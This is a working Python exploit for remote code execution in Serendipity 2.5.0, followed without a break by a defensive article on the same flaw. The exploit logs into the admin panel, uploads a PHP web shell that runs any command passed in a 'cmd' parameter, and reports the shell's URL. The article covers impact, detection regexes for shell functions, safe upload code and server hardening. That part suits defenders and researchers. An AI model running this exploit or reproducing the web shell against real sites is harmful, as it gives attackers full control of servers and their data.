Serendipity 2.5.0 - Remote Code Execution (RCE)
# Exploit Title: Serendipity 2.5.0 - Remote Code Execution (RCE)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 26.04.2024
# Vendor Homepage: https://docs.s9y.org/
# Software Link:https://www.s9y.org/latest
# Tested Version: v2.5.0 (latest)
# Tested on: MacOS
import requests
import time
import random
import string
from bs4 import BeautifulSoup
def generate_filename(extension=".inc"):
return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +
extension
def get_csrf_token(response):
soup = BeautifulSoup(response.text, 'html.parser')
token = soup.find('input', {'name': 'serendipity[token]'})
return token['value'] if token else None
def login(base_url, username, password):
print("Logging in...")
time.sleep(2)
session = requests.Session()
login_page = session.get(f"{base_url}/serendipity_admin.php")
token = get_csrf_token(login_page)
data = {
"serendipity[action]": "admin",
"serendipity[user]": username,
"serendipity[pass]": password,
"submit": "Login",
"serendipity[token]": token
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Referer": f"{base_url}/serendipity_admin.php"
}
response = session.post(f"{base_url}/serendipity_admin.php", data=data,
headers=headers)
if "Add media" in response.text:
print("Login Successful!")
time.sleep(2)
return session
else:
print("Login Failed!")
return None
def upload_file(session, base_url, filename, token):
print("Shell Preparing...")
time.sleep(2)
boundary = "---------------------------395233558031804950903737832368"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Referer": f"{base_url}
/serendipity_admin.php?serendipity[adminModule]=media"
}
payload = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[token]\"\r\n\r\n"
f"{token}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[action]\"\r\n\r\n"
f"admin\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[adminModule]\"\r\n\r\n"
f"media\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[adminAction]\"\r\n\r\n"
f"add\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[userfile][1]\";
filename=\"{filename}\"\r\n"
f"Content-Type: text/html\r\n\r\n"
"<html>\n<body>\n<form method=\"GET\" name=\"<?php echo
basename($_SERVER['PHP_SELF']); ?>\">\n"
"<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<input
type=\"SUBMIT\" value=\"Execute\">\n"
"</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}
\n?>\n</pre>\n</body>\n</html>\r\n"
f"--{boundary}--\r\n"
)
response = session.post(f"{base_url}
/serendipity_admin.php?serendipity[adminModule]=media", headers=headers,
data=payload.encode('utf-8'))
if f"File {filename} successfully uploaded as" in response.text:
print(f"Your shell is ready: {base_url}/uploads/{filename}")
else:
print("Exploit Failed!")
def main(base_url, username, password):
filename = generate_filename()
session = login(base_url, username, password)
if session:
token = get_csrf_token(session.get(f"{base_url}
/serendipity_admin.php?serendipity[adminModule]=media"))
upload_file(session, base_url, filename, token)
if __name__ == "__main__":
import sys
if len(sys.argv) != 4:
print("Usage: python script.py <siteurl> <username> <password>")
else:
main(sys.argv[1], sys.argv[2], sys.argv[3]) Serendipity 2.5.0 — Remote Code Execution (RCE): Overview, Impact, and Defenses
Serendipity (s9y) is a PHP-based blogging/CMS platform. In April 2024 a vulnerability affecting version 2.5.0 was disclosed that can lead to remote code execution (RCE) when an authenticated administrative user is able to upload and execute crafted files. This article provides a high-level explanation of the vulnerability class, impact, detection strategies, recommended mitigations and secure coding controls to prevent similar issues.
Vulnerability Class (High-Level)
The issue is an authentication-gated file-upload RCE. Root causes typically include one or more of the following:
- Insufficient server-side validation of uploaded file contents and extensions.
- Improper handling of Content-Type and filename metadata (allowing dangerous file extensions or bypassing checks).
- Files stored in a web-accessible directory with PHP execution enabled.
- Weak or missing authorization/CSRF protections around administrative upload endpoints.
When combined, these weaknesses allow an authenticated user with upload privileges (for example, a site administrator) to place executable code in a location reachable by an HTTP request, and then execute it, yielding RCE.
Impact and Risk
- Complete server compromise: Arbitrary command execution allows data exfiltration, privilege escalation, lateral movement, persistent backdoors and site defacement.
- Credential theft: Access to configuration files, database credentials, and other secrets.
- Supply-chain & multi-tenant risk: If the platform is hosted on shared infrastructure, other tenants may be affected.
- Reputation/legal: Loss of customer trust and potential regulatory fallout if user data is exposed.
Detecting Exploitation (Indicators of Compromise)
Detection should combine log analysis, file-system scanning and web request monitoring. Useful indicators include:
- HTTP POST requests to admin upload endpoints (e.g., admin upload modules) followed by HEAD/GET requests to newly created files in the uploads directory.
- Unusual filenames or extensions in uploads (e.g., .inc, .phtml, .php, or double extensions such as file.jpg.php).
- Requests containing query parameters commonly used by simple web shells (e.g., cmd=, command=, exec=).
- Files in uploads containing PHP opening tags (<?php) or function calls like system(), exec(), passthru(), shell_exec().
Example defensive regexes to detect suspicious uploaded content (for monitoring/scanning) — use server-side scanners, not as an attack guide:
# Simple regex examples for file scanning (use them defensively)
# Detect PHP tags in uploaded files
/<\?php/i
# Detect common shell function calls inside uploaded files
/\b(system|exec|passthru|shell_exec|popen)\s*\(/i
Explanation: These example patterns are intended for use by detection tools that scan newly uploaded files for embedded server-side code. They should be part of a broader detection strategy with context-aware whitelisting to avoid false positives.
Immediate Mitigations (If You Manage a Serendipity Site)
- Patch: Update Serendipity to the vendor-released patch or the latest version immediately.
- Restrict administrative access: Limit access to admin panels by IP where possible and ensure strong passwords and 2FA for admin accounts.
- Harden upload directories: Prevent execution of scripts from upload directories (see server hardening below).
- Rotate secrets: After suspected compromise, rotate database credentials, API keys, and any service tokens stored on the system.
- Scan the filesystem: Search for newly added files and known webshell patterns; remove unauthorized files and restore from a trustworthy backup if needed.
- Audit logs: Review access logs for suspicious uploads and subsequent GETs to those files.
Secure Coding and Architectural Controls (Defensive Examples)
Below are examples of secure patterns for handling uploads, validating file content, and hardening the upload area. These are defensive: they reduce the chance a malicious file becomes executable.
1) PHP: Validate and store uploaded files outside the webroot
<?php
// Example: safe_upload.php (defensive pattern)
// 1) Validate MIME type using finfo
// 2) Restrict to a whitelist of allowed extensions
// 3) Store files outside the webroot and serve via controlled handler if needed
$allowed_ext = ['jpg','png','pdf','txt'];
$upload_dir = '/var/www/uploads_outside_webroot/';
if (!isset($_FILES['userfile'])) {
http_response_code(400);
exit('No file uploaded');
}
$tmp = $_FILES['userfile']['tmp_name'];
$original = $_FILES['userfile']['name'];
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($tmp);
// Basic MIME check (map mime types to extensions in production)
$mime_allowed = ['image/jpeg' => 'jpg', 'image/png' => 'png', 'application/pdf' => 'pdf'];
if (!in_array($mime, array_keys($mime_allowed))) {
http_response_code(415);
exit('Unsupported media type');
}
$ext = pathinfo($original, PATHINFO_EXTENSION);
if (!in_array(strtolower($ext), $allowed_ext)) {
http_response_code(415);
exit('Bad file extension');
}
// Create a safe filename
$safe_name = bin2hex(random_bytes(12)).'.'.$mime_allowed[$mime];
$dest = $upload_dir . $safe_name;
if (!move_uploaded_file($tmp, $dest)) {
http_response_code(500);
exit('Upload failure');
}
echo 'Upload accepted';
?>
Explanation: This pattern uses finfo to verify the real MIME type, enforces a strict extension whitelist, gives uploaded files randomized names, and stores them outside the webroot so they cannot be executed directly. Serving such files should be done through a controlled script that enforces authorization and sets safe headers.
2) Prevent PHP execution in upload directories (Apache example)
# Place an .htaccess (or server config) in the uploads directory to disable PHP execution
# For Apache using mod_php:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
# Alternatively deny access to PHP files
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Explanation: Disabling the PHP engine or denying access to PHP files in the uploads directory prevents uploaded PHP files from being interpreted. Use equivalent server config for nginx (e.g., route upload directory to a location that does not include fastcgi_pass).
3) CSRF and Authorization
Ensure administrative actions require a valid server-side CSRF token and strict authorization checks. Verify tokens on the server for every state-changing request and bind tokens to user sessions.
// Pseudocode for server-side CSRF validation (defensive)
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!hash_equals($_SESSION['csrf_token'] ?? '', $_POST['csrf_token'] ?? '')) {
http_response_code(403);
exit('Invalid CSRF token');
}
// proceed with authorized action
}
Explanation: The example shows validating a token stored in session against the token submitted in the POST body. Use secure random token generation and rotate tokens on sensitive actions.
Server Hardening Checklist
- Run web services with least privilege; do not run PHP/Apache as root.
- Store uploads outside the webroot or on object storage with limited public access.
- Disable script execution in media and upload directories.
- Apply WAF rules to block suspicious upload patterns and command-like parameters (e.g., cmd=).
- Keep CMS and third-party plugins up to date; subscribe to vendor advisories.
- Audit and tighten file and directory permissions (e.g., 640/640 for config files, 750 for directories where appropriate).
Monitoring, Detection and Incident Response
Detection + fast response reduces damage. Recommended steps:
- Maintain centralized logging (web server, PHP-FPM, application logs) and alert on unusual admin uploads, new file creation, or web requests to new files.
- Use integrity monitoring (e.g., tripwire-like tools, file hash comparisons) to detect unauthorized file changes.
- If compromise is suspected: isolate the host, capture forensic evidence (filesystem and memory if practical), rotate credentials, scan for further backdoors and remove malicious artifacts, and restore from a known-good backup.
- Report to the platform vendor and follow responsible disclosure and patch guidance.
Example Recovery Steps (High Level)
- Take the site offline or block admin access from public networks until contained.
- Collect logs and a snapshot of the filesystem for investigation.
- Identify malicious uploads, remove them, and replace affected files from verified backups.
- Apply vendor patches and configuration hardening.
- Inform stakeholders and, if required by law, notify affected users/regulators.
Recommended Resources and Further Reading
- Vendor advisories and official Serendipity (s9y) documentation for patch details and fixed releases.
- OWASP guidance: File Upload Cheat Sheet, Secure Configuration.
- Server hardening guides for your web stack (Apache, nginx, PHP-FPM).
| Action | Priority | Why |
|---|---|---|
| Apply vendor patch / upgrade | High | Fixes the underlying vulnerability and is the fastest effective mitigation |
| Disable PHP execution in uploads | High | Prevents uploaded code from being executed even if uploaded |
| Use fine-grained upload validation | High | Makes it much harder for attackers to upload executable payloads |
| Enable monitoring and file integrity checks | Medium | Helps detect compromise early |
Summary: file-upload RCEs in CMS platforms are high-risk but preventable. Prioritize patching, isolate executable content from uploads, enforce robust server-side validation and authorization, and ensure monitoring so you detect and respond quickly if an attacker attempts exploitation.